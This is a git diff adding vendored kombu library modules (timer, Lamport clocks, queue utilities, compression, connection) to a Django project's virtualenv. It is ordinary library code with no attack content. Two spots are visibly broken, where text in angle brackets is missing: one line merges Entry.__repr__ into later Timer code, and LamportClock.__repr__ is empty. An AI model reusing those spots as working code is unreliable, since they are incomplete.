scheduling Python callbacks.""" + +import heapq +import sys +from collections import namedtuple +from datetime import datetime +from functools import total_ordering +from time import monotonic +from time import time as _time +from weakref import proxy as weakrefproxy + +from vine.utils import wraps + +from kombu.log import get_logger + +try: + from pytz import utc +except ImportError: # pragma: no cover + utc = None + +__all__ = ('Entry', 'Timer', 'to_timestamp') + +logger = get_logger(__name__) + +DEFAULT_MAX_INTERVAL = 2 +EPOCH = datetime.utcfromtimestamp(0).replace(tzinfo=utc) +IS_PYPY = hasattr(sys, 'pypy_version_info') + +scheduled = namedtuple('scheduled', ('eta', 'priority', 'entry')) + + +def to_timestamp(d, default_timezone=utc, time=monotonic): + """Convert datetime to timestamp. + + If d' is already a timestamp, then that will be used. + """ + if isinstance(d, datetime): + if d.tzinfo is None: + d = d.replace(tzinfo=default_timezone) + diff = _time() - time() + return max((d - EPOCH).total_seconds() - diff, 0) + return d + + +@total_ordering +class Entry: + """Schedule Entry.""" + + if not IS_PYPY: # pragma: no cover + __slots__ = ( + 'fun', 'args', 'kwargs', 'tref', 'canceled', + '_last_run', '__weakref__', + ) + + def __init__(self, fun, args=None, kwargs=None): + self.fun = fun + self.args = args or [] + self.kwargs = kwargs or {} + self.tref = weakrefproxy(self) + self._last_run = None + self.canceled = False + + def __call__(self): + return self.fun(*self.args, **self.kwargs) + + def cancel(self): + try: + self.tref.canceled = True + except ReferenceError: # pragma: no cover + pass + + def __repr__(self): + return '= secs: + tref._last_run = now + return fun(*args, **kwargs) + finally: + if not tref.canceled: + last = tref._last_run + next = secs - (now - last) if last else secs + self.enter_after(next, tref, priority) + + tref.fun = _reschedules + tref._last_run = None + return self.enter_after(secs, tref, priority) + + def enter_at(self, entry, eta=None, priority=0, time=monotonic): + """Enter function into the scheduler. + + Arguments: + entry (~kombu.asynchronous.timer.Entry): Item to enter. + eta (datetime.datetime): Scheduled time. + priority (int): Unused. + """ + if eta is None: + eta = time() + if isinstance(eta, datetime): + try: + eta = to_timestamp(eta) + except Exception as exc: + if not self.handle_error(exc): + raise + return + return self._enter(eta, priority, entry) + + def enter_after(self, secs, entry, priority=0, time=monotonic): + return self.enter_at(entry, time() + float(secs), priority) + + def _enter(self, eta, priority, entry, push=heapq.heappush): + push(self._queue, scheduled(eta, priority, entry)) + return entry + + def apply_entry(self, entry): + try: + entry() + except Exception as exc: + if not self.handle_error(exc): + logger.error('Error in timer: %r', exc, exc_info=True) + + def handle_error(self, exc_info): + if self.on_error: + self.on_error(exc_info) + return True + + def stop(self): + pass + + def __iter__(self, min=min, nowfun=monotonic, + pop=heapq.heappop, push=heapq.heappush): + """Iterate over schedule. + + This iterator yields a tuple of ``(wait_seconds, entry)``, + where if entry is :const:`None` the caller should wait + for ``wait_seconds`` until it polls the schedule again. + """ + max_interval = self.max_interval + queue = self._queue + + while 1: + if queue: + eventA = queue[0] + now, eta = nowfun(), eventA[0] + + if now < eta: + yield min(eta - now, max_interval), None + else: + eventB = pop(queue) + + if eventB is eventA: + entry = eventA[2] + if not entry.canceled: + yield None, entry + continue + else: + push(queue, eventB) + else: + yield None, None + + def clear(self): + self._queue[:] = [] # atomic, without creating a new list. + + def cancel(self, tref): + tref.cancel() + + def __len__(self): + return len(self._queue) + + def __nonzero__(self): + return True + + @property + def queue(self, _pop=heapq.heappop): + """Snapshot of underlying datastructure.""" + events = list(self._queue) + return [_pop(v) for v in [events] * len(events)] + + @property + def schedule(self): + return self diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/clocks.py b/django_lottopy/lib/python3.10/site-packages/kombu/clocks.py new file mode 100644 index 00000000..3c152720 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/clocks.py @@ -0,0 +1,147 @@ +"""Logical Clocks and Synchronization.""" + +from itertools import islice +from operator import itemgetter +from threading import Lock + +__all__ = ('LamportClock', 'timetuple') + +R_CLOCK = '_lamport(clock={0}, timestamp={1}, id={2} {3!r})' + + +class timetuple(tuple): + """Tuple of event clock information. + + Can be used as part of a heap to keep events ordered. + + Arguments: + clock (int): Event clock value. + timestamp (float): Event UNIX timestamp value. + id (str): Event host id (e.g. ``hostname:pid``). + obj (Any): Optional obj to associate with this event. + """ + + __slots__ = () + + def __new__(cls, clock, timestamp, id, obj=None): + return tuple.__new__(cls, (clock, timestamp, id, obj)) + + def __repr__(self): + return R_CLOCK.format(*self) + + def __getnewargs__(self): + return tuple(self) + + def __lt__(self, other): + # 0: clock 1: timestamp 3: process id + try: + A, B = self[0], other[0] + # uses logical clock value first + if A and B: # use logical clock if available + if A == B: # equal clocks use lower process id + return self[2] < other[2] + return A < B + return self[1] < other[1] # ... or use timestamp + except IndexError: + return NotImplemented + + def __gt__(self, other): + return other < self + + def __le__(self, other): + return not other < self + + def __ge__(self, other): + return not self < other + + clock = property(itemgetter(0)) + timestamp = property(itemgetter(1)) + id = property(itemgetter(2)) + obj = property(itemgetter(3)) + + +class LamportClock: + """Lamport's logical clock. + + From Wikipedia: + + A Lamport logical clock is a monotonically incrementing software counter + maintained in each process. It follows some simple rules: + + * A process increments its counter before each event in that process; + * When a process sends a message, it includes its counter value with + the message; + * On receiving a message, the receiver process sets its counter to be + greater than the maximum of its own value and the received value + before it considers the message received. + + Conceptually, this logical clock can be thought of as a clock that only + has meaning in relation to messages moving between processes. When a + process receives a message, it resynchronizes its logical clock with + the sender. + + See Also: + * `Lamport timestamps`_ + + * `Lamports distributed mutex`_ + + .. _`Lamport Timestamps`: https://en.wikipedia.org/wiki/Lamport_timestamps + .. _`Lamports distributed mutex`: https://bit.ly/p99ybE + + *Usage* + + When sending a message use :meth:`forward` to increment the clock, + when receiving a message use :meth:`adjust` to sync with + the time stamp of the incoming message. + + """ + + #: The clocks current value. + value = 0 + + def __init__(self, initial_value=0, Lock=Lock): + self.value = initial_value + self.mutex = Lock() + + def adjust(self, other): + with self.mutex: + value = self.value = max(self.value, other) + 1 + return value + + def forward(self): + with self.mutex: + self.value += 1 + return self.value + + def sort_heap(self, h): + """Sort heap of events. + + List of tuples containing at least two elements, representing + an event, where the first element is the event's scalar clock value, + and the second element is the id of the process (usually + ``"hostname:pid"``): ``sh([(clock, processid, ...?), (...)])`` + + The list must already be sorted, which is why we refer to it as a + heap. + + The tuple will not be unpacked, so more than two elements can be + present. + + Will return the latest event. + """ + if h[0][0] == h[1][0]: + same = [] + for PN in zip(h, islice(h, 1, None)): + if PN[0][0] != PN[1][0]: + break # Prev and Next's clocks differ + same.append(PN[0]) + # return first item sorted by process id + return sorted(same, key=lambda event: event[1])[0] + # clock values unique, return first item + return h[0] + + def __str__(self): + return str(self.value) + + def __repr__(self): + return f'' diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/common.py b/django_lottopy/lib/python3.10/site-packages/kombu/common.py new file mode 100644 index 00000000..08bc1aff --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/common.py @@ -0,0 +1,435 @@ +"""Common Utilities.""" + +import os +import socket +import threading +from collections import deque +from contextlib import contextmanager +from functools import partial +from itertools import count +from uuid import NAMESPACE_OID, uuid3, uuid4, uuid5 + +from amqp import ChannelError, RecoverableConnectionError + +from .entity import Exchange, Queue +from .log import get_logger +from .serialization import registry as serializers +from .utils.uuid import uuid + +__all__ = ('Broadcast', 'maybe_declare', 'uuid', + 'itermessages', 'send_reply', + 'collect_replies', 'insured', 'drain_consumer', + 'eventloop') + +#: Prefetch count can't exceed short. +PREFETCH_COUNT_MAX = 0xFFFF + +logger = get_logger(__name__) + +_node_id = None + + +def get_node_id(): + global _node_id + if _node_id is None: + _node_id = uuid4().int + return _node_id + + +def generate_oid(node_id, process_id, thread_id, instance): + ent = '{:x}-{:x}-{:x}-{:x}'.format( + node_id, process_id, thread_id, id(instance)) + try: + ret = str(uuid3(NAMESPACE_OID, ent)) + except ValueError: + ret = str(uuid5(NAMESPACE_OID, ent)) + return ret + + +def oid_from(instance, threads=True): + return generate_oid( + get_node_id(), + os.getpid(), + threading.get_ident() if threads else 0, + instance, + ) + + +class Broadcast(Queue): + """Broadcast queue. + + Convenience class used to define broadcast queues. + + Every queue instance will have a unique name, + and both the queue and exchange is configured with auto deletion. + + Arguments: + name (str): This is used as the name of the exchange. + queue (str): By default a unique id is used for the queue + name for every consumer. You can specify a custom + queue name here. + unique (bool): Always create a unique queue + even if a queue name is supplied. + **kwargs (Any): See :class:`~kombu.Queue` for a list + of additional keyword arguments supported. + """ + + attrs = Queue.attrs + (('queue', None),) + + def __init__(self, + name=None, + queue=None, + unique=False, + auto_delete=True, + exchange=None, + alias=None, + **kwargs): + if unique: + queue = '{}.{}'.format(queue or 'bcast', uuid()) + else: + queue = queue or f'bcast.{uuid()}' + super().__init__( + alias=alias or name, + queue=queue, + name=queue, + auto_delete=auto_delete, + exchange=(exchange if exchange is not None + else Exchange(name, type='fanout')), + **kwargs + ) + + +def declaration_cached(entity, channel): + return entity in channel.connection.client.declared_entities + + +def maybe_declare(entity, channel=None, retry=False, **retry_policy): + """Declare entity (cached).""" + if retry: + return _imaybe_declare(entity, channel, **retry_policy) + return _maybe_declare(entity, channel) + + +def _ensure_channel_is_bound(entity, channel): + """Make sure the channel is bound to the entity. + + :param entity: generic kombu nomenclature, generally an exchange or queue + :param channel: channel to bind to the entity + :return: the updated entity + """ + is_bound = entity.is_bound + if not is_bound: + if not channel: + raise ChannelError( + f"Cannot bind channel {channel} to entity {entity}") + entity = entity.bind(channel) + return entity + + +def _maybe_declare(entity, channel): + # _maybe_declare sets name on original for autogen queues + orig = entity + + _ensure_channel_is_bound(entity, channel) + + if channel is None: + if not entity.is_bound: + raise ChannelError( + f"channel is None and entity {entity} not bound.") + channel = entity.channel + + declared = ident = None + if channel.connection and entity.can_cache_declaration: + declared = channel.connection.client.declared_entities + ident = hash(entity) + if ident in declared: + return False + + if not channel.connection: + raise RecoverableConnectionError('channel disconnected') + entity.declare(channel=channel) + if declared is not None and ident: + declared.add(ident) + if orig is not None: + orig.name = entity.name + return True + + +def _imaybe_declare(entity, channel, **retry_policy): + _ensure_channel_is_bound(entity, channel) + + if not entity.channel.connection: + raise RecoverableConnectionError('channel disconnected') + + return entity.channel.connection.client.ensure( + entity, _maybe_declare, **retry_policy)(entity, channel) + + +def drain_consumer(consumer, limit=1, timeout=None, callbacks=None): + """Drain messages from consumer instance.""" + acc = deque() + + def on_message(body, message): + acc.append((body, message)) + + consumer.callbacks = [on_message] + (callbacks or []) + + with consumer: + for _ in eventloop(consumer.channel.connection.client, + limit=limit, timeout=timeout, ignore_timeouts=True): + try: + yield acc.popleft() + except IndexError: + pass + + +def itermessages(conn, channel, queue, limit=1, timeout=None, + callbacks=None, **kwargs): + """Iterator over messages.""" + return drain_consumer( + conn.Consumer(queues=[queue], channel=channel, **kwargs), + limit=limit, timeout=timeout, callbacks=callbacks, + ) + + +def eventloop(conn, limit=None, timeout=None, ignore_timeouts=False): + """Best practice generator wrapper around ``Connection.drain_events``. + + Able to drain events forever, with a limit, and optionally ignoring + timeout errors (a timeout of 1 is often used in environments where + the socket can get "stuck", and is a best practice for Kombu consumers). + + ``eventloop`` is a generator. + + Examples: + >>> from kombu.common import eventloop + + >>> def run(conn): + ... it = eventloop(conn, timeout=1, ignore_timeouts=True) + ... next(it) # one event consumed, or timed out. + ... + ... for _ in eventloop(conn, timeout=1, ignore_timeouts=True): + ... pass # loop forever. + + It also takes an optional limit parameter, and timeout errors + are propagated by default:: + + for _ in eventloop(connection, limit=1, timeout=1): + pass + + See Also: + :func:`itermessages`, which is an event loop bound to one or more + consumers, that yields any messages received. + """ + for i in limit and range(limit) or count(): + try: + yield conn.drain_events(timeout=timeout) + except socket.timeout: + if timeout and not ignore_timeouts: # pragma: no cover + raise + + +def send_reply(exchange, req, msg, + producer=None, retry=False, retry_policy=None, **props): + """Send reply for request. + + Arguments: + exchange (kombu.Exchange, str): Reply exchange + req (~kombu.Message): Original request, a message with + a ``reply_to`` property. + producer (kombu.Producer): Producer instance + retry (bool): If true must retry according to + the ``reply_policy`` argument. + retry_policy (Dict): Retry settings. + **props (Any): Extra properties. + """ + return producer.publish( + msg, exchange=exchange, + retry=retry, retry_policy=retry_policy, + **dict({'routing_key': req.properties['reply_to'], + 'correlation_id': req.properties.get('correlation_id'), + 'serializer': serializers.type_to_name[req.content_type], + 'content_encoding': req.content_encoding}, **props) + ) + + +def collect_replies(conn, channel, queue, *args, **kwargs): + """Generator collecting replies from ``queue``.""" + no_ack = kwargs.setdefault('no_ack', True) + received = False + try: + for body, message in itermessages(conn, channel, queue, + *args, **kwargs): + if not no_ack: + message.ack() + received = True + yield body + finally: + if received: + channel.after_reply_message_received(queue.name) + + +def _ensure_errback(exc, interval): + logger.error( + 'Connection error: %r. Retry in %ss\n', exc, interval, + exc_info=True, + ) + + +@contextmanager +def _ignore_errors(conn): + try: + yield + except conn.connection_errors + conn.channel_errors: + pass + + +def ignore_errors(conn, fun=None, *args, **kwargs): + """Ignore connection and channel errors. + + The first argument must be a connection object, or any other object + with ``connection_error`` and ``channel_error`` attributes. + + Can be used as a function: + + .. code-block:: python + + def example(connection): + ignore_errors(connection, consumer.channel.close) + + or as a context manager: + + .. code-block:: python + + def example(connection): + with ignore_errors(connection): + consumer.channel.close() + + + Note: + Connection and channel errors should be properly handled, + and not ignored. Using this function is only acceptable in a cleanup + phase, like when a connection is lost or at shutdown. + """ + if fun: + with _ignore_errors(conn): + return fun(*args, **kwargs) + return _ignore_errors(conn) + + +def revive_connection(connection, channel, on_revive=None): + if on_revive: + on_revive(channel) + + +def insured(pool, fun, args, kwargs, errback=None, on_revive=None, **opts): + """Function wrapper to handle connection errors. + + Ensures function performing broker commands completes + despite intermittent connection failures. + """ + errback = errback or _ensure_errback + + with pool.acquire(block=True) as conn: + conn.ensure_connection(errback=errback) + # we cache the channel for subsequent calls, this has to be + # reset on revival. + channel = conn.default_channel + revive = partial(revive_connection, conn, on_revive=on_revive) + insured = conn.autoretry(fun, channel, errback=errback, + on_revive=revive, **opts) + retval, _ = insured(*args, **dict(kwargs, connection=conn)) + return retval + + +class QoS: + """Thread safe increment/decrement of a channels prefetch_count. + + Arguments: + callback (Callable): Function used to set new prefetch count, + e.g. ``consumer.qos`` or ``channel.basic_qos``. Will be called + with a single ``prefetch_count`` keyword argument. + initial_value (int): Initial prefetch count value.. + + Example: + >>> from kombu import Consumer, Connection + >>> connection = Connection('amqp://') + >>> consumer = Consumer(connection) + >>> qos = QoS(consumer.qos, initial_prefetch_count=2) + >>> qos.update() # set initial + + >>> qos.value + 2 + + >>> def in_some_thread(): + ... qos.increment_eventually() + + >>> def in_some_other_thread(): + ... qos.decrement_eventually() + + >>> while 1: + ... if qos.prev != qos.value: + ... qos.update() # prefetch changed so update. + + It can be used with any function supporting a ``prefetch_count`` keyword + argument:: + + >>> channel = connection.channel() + >>> QoS(channel.basic_qos, 10) + + + >>> def set_qos(prefetch_count): + ... print('prefetch count now: %r' % (prefetch_count,)) + >>> QoS(set_qos, 10) + """ + + prev = None + + def __init__(self, callback, initial_value): + self.callback = callback + self._mutex = threading.RLock() + self.value = initial_value or 0 + + def increment_eventually(self, n=1): + """Increment the value, but do not update the channels QoS. + + Note: + The MainThread will be responsible for calling :meth:`update` + when necessary. + """ + with self._mutex: + if self.value: + self.value = self.value + max(n, 0) + return self.value + + def decrement_eventually(self, n=1): + """Decrement the value, but do not update the channels QoS. + + Note: + The MainThread will be responsible for calling :meth:`update` + when necessary. + """ + with self._mutex: + if self.value: + self.value -= n + if self.value < 1: + self.value = 1 + return self.value + + def set(self, pcount): + """Set channel prefetch_count setting.""" + if pcount != self.prev: + new_value = pcount + if pcount > PREFETCH_COUNT_MAX: + logger.warning('QoS: Disabled: prefetch_count exceeds %r', + PREFETCH_COUNT_MAX) + new_value = 0 + logger.debug('basic.qos: prefetch_count->%s', new_value) + self.callback(prefetch_count=new_value) + self.prev = pcount + return pcount + + def update(self): + """Update prefetch count with current value.""" + with self._mutex: + return self.set(self.value) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/compat.py b/django_lottopy/lib/python3.10/site-packages/kombu/compat.py new file mode 100644 index 00000000..1fa3f631 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/compat.py @@ -0,0 +1,211 @@ +"""Carrot compatibility interface. + +See https://pypi.org/project/carrot/ for documentation. +""" + +from itertools import count + +from . import messaging +from .entity import Exchange, Queue + +__all__ = ('Publisher', 'Consumer') + +# XXX compat attribute +entry_to_queue = Queue.from_dict + + +def _iterconsume(connection, consumer, no_ack=False, limit=None): + consumer.consume(no_ack=no_ack) + for iteration in count(0): # for infinity + if limit and iteration >= limit: + break + yield connection.drain_events() + + +class Publisher(messaging.Producer): + """Carrot compatible producer.""" + + exchange = '' + exchange_type = 'direct' + routing_key = '' + durable = True + auto_delete = False + _closed = False + + def __init__(self, connection, exchange=None, routing_key=None, + exchange_type=None, durable=None, auto_delete=None, + channel=None, **kwargs): + if channel: + connection = channel + + self.exchange = exchange or self.exchange + self.exchange_type = exchange_type or self.exchange_type + self.routing_key = routing_key or self.routing_key + + if auto_delete is not None: + self.auto_delete = auto_delete + if durable is not None: + self.durable = durable + + if not isinstance(self.exchange, Exchange): + self.exchange = Exchange(name=self.exchange, + type=self.exchange_type, + routing_key=self.routing_key, + auto_delete=self.auto_delete, + durable=self.durable) + super().__init__(connection, self.exchange, **kwargs) + + def send(self, *args, **kwargs): + return self.publish(*args, **kwargs) + + def close(self): + super().close() + self._closed = True + + def __enter__(self): + return self + + def __exit__(self, *exc_info): + self.close() + + @property + def backend(self): + return self.channel + + +class Consumer(messaging.Consumer): + """Carrot compatible consumer.""" + + queue = '' + exchange = '' + routing_key = '' + exchange_type = 'direct' + durable = True + exclusive = False + auto_delete = False + _closed = False + + def __init__(self, connection, queue=None, exchange=None, + routing_key=None, exchange_type=None, durable=None, + exclusive=None, auto_delete=None, **kwargs): + self.backend = connection.channel() + + if durable is not None: + self.durable = durable + if exclusive is not None: + self.exclusive = exclusive + if auto_delete is not None: + self.auto_delete = auto_delete + + self.queue = queue or self.queue + self.exchange = exchange or self.exchange + self.exchange_type = exchange_type or self.exchange_type + self.routing_key = routing_key or self.routing_key + + exchange = Exchange(self.exchange, + type=self.exchange_type, + routing_key=self.routing_key, + auto_delete=self.auto_delete, + durable=self.durable) + queue = Queue(self.queue, + exchange=exchange, + routing_key=self.routing_key, + durable=self.durable, + exclusive=self.exclusive, + auto_delete=self.auto_delete) + super().__init__(self.backend, queue, **kwargs) + + def revive(self, channel): + self.backend = channel + super().revive(channel) + + def close(self): + self.cancel() + self.backend.close() + self._closed = True + + def __enter__(self): + return self + + def __exit__(self, *exc_info): + self.close() + + def __iter__(self): + return self.iterqueue(infinite=True) + + def fetch(self, no_ack=None, enable_callbacks=False): + if no_ack is None: + no_ack = self.no_ack + message = self.queues[0].get(no_ack) + if message: + if enable_callbacks: + self.receive(message.payload, message) + return message + + def process_next(self): + raise NotImplementedError('Use fetch(enable_callbacks=True)') + + def discard_all(self, filterfunc=None): + if filterfunc is not None: + raise NotImplementedError( + 'discard_all does not implement filters') + return self.purge() + + def iterconsume(self, limit=None, no_ack=None): + return _iterconsume(self.connection, self, no_ack, limit) + + def wait(self, limit=None): + it = self.iterconsume(limit) + return list(it) + + def iterqueue(self, limit=None, infinite=False): + for items_since_start in count(): # for infinity + item = self.fetch() + if (not infinite and item is None) or \ + (limit and items_since_start >= limit): + break + yield item + + +class ConsumerSet(messaging.Consumer): + + def __init__(self, connection, from_dict=None, consumers=None, + channel=None, **kwargs): + if channel: + self._provided_channel = True + self.backend = channel + else: + self._provided_channel = False + self.backend = connection.channel() + + queues = [] + if consumers: + for consumer in consumers: + queues.extend(consumer.queues) + if from_dict: + for queue_name, queue_options in from_dict.items(): + queues.append(Queue.from_dict(queue_name, **queue_options)) + + super().__init__(self.backend, queues, **kwargs) + + def iterconsume(self, limit=None, no_ack=False): + return _iterconsume(self.connection, self, no_ack, limit) + + def discard_all(self): + return self.purge() + + def add_consumer_from_dict(self, queue, **options): + return self.add_queue(Queue.from_dict(queue, **options)) + + def add_consumer(self, consumer): + for queue in consumer.queues: + self.add_queue(queue) + + def revive(self, channel): + self.backend = channel + super().revive(channel) + + def close(self): + self.cancel() + if not self._provided_channel: + self.channel.close() diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/compression.py b/django_lottopy/lib/python3.10/site-packages/kombu/compression.py new file mode 100644 index 00000000..d9438539 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/compression.py @@ -0,0 +1,116 @@ +"""Compression utilities.""" + +import zlib + +from kombu.utils.encoding import ensure_bytes + +_aliases = {} +_encoders = {} +_decoders = {} + +__all__ = ('register', 'encoders', 'get_encoder', + 'get_decoder', 'compress', 'decompress') + + +def register(encoder, decoder, content_type, aliases=None): + """Register new compression method. + + Arguments: + encoder (Callable): Function used to compress text. + decoder (Callable): Function used to decompress previously + compressed text. + content_type (str): The mime type this compression method + identifies as. + aliases (Sequence[str]): A list of names to associate with + this compression method. + """ + _encoders[content_type] = encoder + _decoders[content_type] = decoder + if aliases: + _aliases.update((alias, content_type) for alias in aliases) + + +def encoders(): + """Return a list of available compression methods.""" + return list(_encoders) + + +def get_encoder(t): + """Get encoder by alias name.""" + t = _aliases.get(t, t) + return _encoders[t], t + + +def get_decoder(t): + """Get decoder by alias name.""" + return _decoders[_aliases.get(t, t)] + + +def compress(body, content_type): + """Compress text. + + Arguments: + body (AnyStr): The text to compress. + content_type (str): mime-type of compression method to use. + """ + encoder, content_type = get_encoder(content_type) + return encoder(ensure_bytes(body)), content_type + + +def decompress(body, content_type): + """Decompress compressed text. + + Arguments: + body (AnyStr): Previously compressed text to uncompress. + content_type (str): mime-type of compression method used. + """ + return get_decoder(content_type)(body) + + +register(zlib.compress, + zlib.decompress, + 'application/x-gzip', aliases=['gzip', 'zlib']) + +try: + import bz2 +except ImportError: # pragma: no cover + pass # No bz2 support +else: + register(bz2.compress, + bz2.decompress, + 'application/x-bz2', aliases=['bzip2', 'bzip']) + +try: + import brotli +except ImportError: # pragma: no cover + pass +else: + register(brotli.compress, + brotli.decompress, + 'application/x-brotli', aliases=['brotli']) + +try: + import lzma +except ImportError: # pragma: no cover + pass # no lzma support +else: + register(lzma.compress, + lzma.decompress, + 'application/x-lzma', aliases=['lzma', 'xz']) + +try: + import zstandard as zstd +except ImportError: # pragma: no cover + pass +else: + def zstd_compress(body): + c = zstd.ZstdCompressor() + return c.compress(body) + + def zstd_decompress(body): + d = zstd.ZstdDecompressor() + return d.decompress(body) + + register(zstd_compress, + zstd_decompress, + 'application/zstd', aliases=['zstd', 'zstandard']) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/connection.py b/django_lottopy/lib/python3.10/site-packages/kombu/connection.py new file mode 100644 index 00000000..e2dd69b6 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/connection.py @@ -0,0 +1,1057 @@ +"""Client (Connection).""" + +import os +import socket +from contextlib import contextmanager +from itertools import count, cycle +from operator import itemgetter + +try: + from ssl import CERT_NONE + ssl_available = True +except ImportError: # pragma: no cover + CERT_NONE = None + ssl_available = False + +# jython breaks on relative import for .exceptions for some reason +# (Issue #112) +from kombu import exceptions + +from .log import get_logger +from .resource import Resource +from .transport import get_transport_cls, supports_librabbitmq +from .utils.collections import HashedSeq +from .utils.functional import dictfilter, lazy, retry_over_time, shufflecycle +from .utils.objects import cached_property +from .utils.url import as_url, maybe_sanitize_url, parse_url, quote, urlparse + +__all__ = ('Connection', 'ConnectionPool', 'ChannelPool') + +logger = get_logger(__name__) + +roundrobin_failover = cycle + +resolve_aliases = { + 'pyamqp': 'amqp', + 'librabbitmq': 'amqp', +} + +failover_strategies = { + 'round-robin': roundrobin_failover, + 'shuffle': shufflecycle, +} + +_log_connection = os.environ.get('KOMBU_LOG_CONNECTION', False) +_log_channel = os.environ.get('KOMBU_LOG_CHANNEL', False) + + +class Connection: + """A connection to the broker. + + Example: + >>> Connection('amqp://guest:guest@localhost:5672//') + >>> Connection('amqp://foo;amqp://bar', + ... failover_strategy='round-robin') + >>> Connection('redis://', transport_options={ + ... 'visibility_timeout': 3000, + ... }) + + >>> import ssl + >>> Connection('amqp://', login_method='EXTERNAL', ssl={ + ... 'ca_certs': '/etc/pki/tls/certs/something.crt', + ... 'keyfile': '/etc/something/system.key', + ... 'certfile': '/etc/something/system.cert', + ... 'cert_reqs': ssl.CERT_REQUIRED, + ... }) + + Note: + SSL currently only works with the py-amqp, and qpid + transports. For other transports you can use stunnel. + + Arguments: + URL (str, Sequence): Broker URL, or a list of URLs. + + Keyword Arguments: + ssl (bool/dict): Use SSL to connect to the server. + Default is ``False``. + May not be supported by the specified transport. + transport (Transport): Default transport if not specified in the URL. + connect_timeout (float): Timeout in seconds for connecting to the + server. May not be supported by the specified transport. + transport_options (Dict): A dict of additional connection arguments to + pass to alternate kombu channel implementations. Consult the + transport documentation for available options. + heartbeat (float): Heartbeat interval in int/float seconds. + Note that if heartbeats are enabled then the + :meth:`heartbeat_check` method must be called regularly, + around once per second. + + Note: + The connection is established lazily when needed. If you need the + connection to be established, then force it by calling + :meth:`connect`:: + + >>> conn = Connection('amqp://') + >>> conn.connect() + + and always remember to close the connection:: + + >>> conn.release() + + These options have been replaced by the URL argument, but are still + supported for backwards compatibility: + + :keyword hostname: Host name/address. + NOTE: You cannot specify both the URL argument and use the hostname + keyword argument at the same time. + :keyword userid: Default user name if not provided in the URL. + :keyword password: Default password if not provided in the URL. + :keyword virtual_host: Default virtual host if not provided in the URL. + :keyword port: Default port if not provided in the URL. + """ + + port = None + virtual_host = '/' + connect_timeout = 5 + + _closed = None + _connection = None + _default_channel = None + _transport = None + _logger = False + uri_prefix = None + + #: The cache of declared entities is per connection, + #: in case the server loses data. + declared_entities = None + + #: Iterator returning the next broker URL to try in the event + #: of connection failure (initialized by :attr:`failover_strategy`). + cycle = None + + #: Additional transport specific options, + #: passed on to the transport instance. + transport_options = None + + #: Strategy used to select new hosts when reconnecting after connection + #: failure. One of "round-robin", "shuffle" or any custom iterator + #: constantly yielding new URLs to try. + failover_strategy = 'round-robin' + + #: Heartbeat value, currently only supported by the py-amqp transport. + heartbeat = None + + resolve_aliases = resolve_aliases + failover_strategies = failover_strategies + + hostname = userid = password = ssl = login_method = None + + def __init__(self, hostname='localhost', userid=None, + password=None, virtual_host=None, port=None, insist=False, + ssl=False, transport=None, connect_timeout=5, + transport_options=None, login_method=None, uri_prefix=None, + heartbeat=0, failover_strategy='round-robin', + alternates=None, **kwargs): + alt = [] if alternates is None else alternates + # have to spell the args out, just to get nice docstrings :( + params = self._initial_params = { + 'hostname': hostname, 'userid': userid, + 'password': password, 'virtual_host': virtual_host, + 'port': port, 'insist': insist, 'ssl': ssl, + 'transport': transport, 'connect_timeout': connect_timeout, + 'login_method': login_method, 'heartbeat': heartbeat + } + + if hostname and not isinstance(hostname, str): + alt.extend(hostname) + hostname = alt[0] + params.update(hostname=hostname) + if hostname: + if ';' in hostname: + alt = hostname.split(';') + alt + hostname = alt[0] + params.update(hostname=hostname) + if '://' in hostname and '+' in hostname[:hostname.index('://')]: + # e.g. sqla+mysql://root:masterkey@localhost/ + params['transport'], params['hostname'] = \ + hostname.split('+', 1) + self.uri_prefix = params['transport'] + elif '://' in hostname: + transport = transport or urlparse(hostname).scheme + if not get_transport_cls(transport).can_parse_url: + # we must parse the URL + url_params = parse_url(hostname) + params.update( + dictfilter(url_params), + hostname=url_params['hostname'], + ) + + params['transport'] = transport + + self._init_params(**params) + + # fallback hosts + self.alt = alt + # keep text representation for .info + # only temporary solution as this won't work when + # passing a custom object (Issue celery/celery#3320). + self._failover_strategy = failover_strategy or 'round-robin' + self.failover_strategy = self.failover_strategies.get( + self._failover_strategy) or self._failover_strategy + if self.alt: + self.cycle = self.failover_strategy(self.alt) + next(self.cycle) # skip first entry + + if transport_options is None: + transport_options = {} + self.transport_options = transport_options + + if _log_connection: # pragma: no cover + self._logger = True + + if uri_prefix: + self.uri_prefix = uri_prefix + + self.declared_entities = set() + + def switch(self, conn_str): + """Switch connection parameters to use a new URL or hostname. + + Note: + Does not reconnect! + + Arguments: + conn_str (str): either a hostname or URL. + """ + self.close() + self.declared_entities.clear() + self._closed = False + conn_params = ( + parse_url(conn_str) if "://" in conn_str else {"hostname": conn_str} # noqa + ) + self._init_params(**dict(self._initial_params, **conn_params)) + + def maybe_switch_next(self): + """Switch to next URL given by the current failover strategy.""" + if self.cycle: + self.switch(next(self.cycle)) + + def _init_params(self, hostname, userid, password, virtual_host, port, + insist, ssl, transport, connect_timeout, + login_method, heartbeat): + transport = transport or 'amqp' + if transport == 'amqp' and supports_librabbitmq(): + transport = 'librabbitmq' + if transport == 'rediss' and ssl_available and not ssl: + logger.warning( + 'Secure redis scheme specified (rediss) with no ssl ' + 'options, defaulting to insecure SSL behaviour.' + ) + ssl = {'ssl_cert_reqs': CERT_NONE} + self.hostname = hostname + self.userid = userid + self.password = password + self.login_method = login_method + self.virtual_host = virtual_host or self.virtual_host + self.port = port or self.port + self.insist = insist + self.connect_timeout = connect_timeout + self.ssl = ssl + self.transport_cls = transport + self.heartbeat = heartbeat and float(heartbeat) + + def register_with_event_loop(self, loop): + self.transport.register_with_event_loop(self.connection, loop) + + def _debug(self, msg, *args, **kwargs): + if self._logger: # pragma: no cover + fmt = '[Kombu connection:{id:#x}] {msg}' + logger.debug(fmt.format(id=id(self), msg=str(msg)), + *args, **kwargs) + + def connect(self): + """Establish connection to server immediately.""" + return self._ensure_connection( + max_retries=1, reraise_as_library_errors=False + ) + + def channel(self): + """Create and return a new channel.""" + self._debug('create channel') + chan = self.transport.create_channel(self.connection) + if _log_channel: # pragma: no cover + from .utils.debug import Logwrapped + return 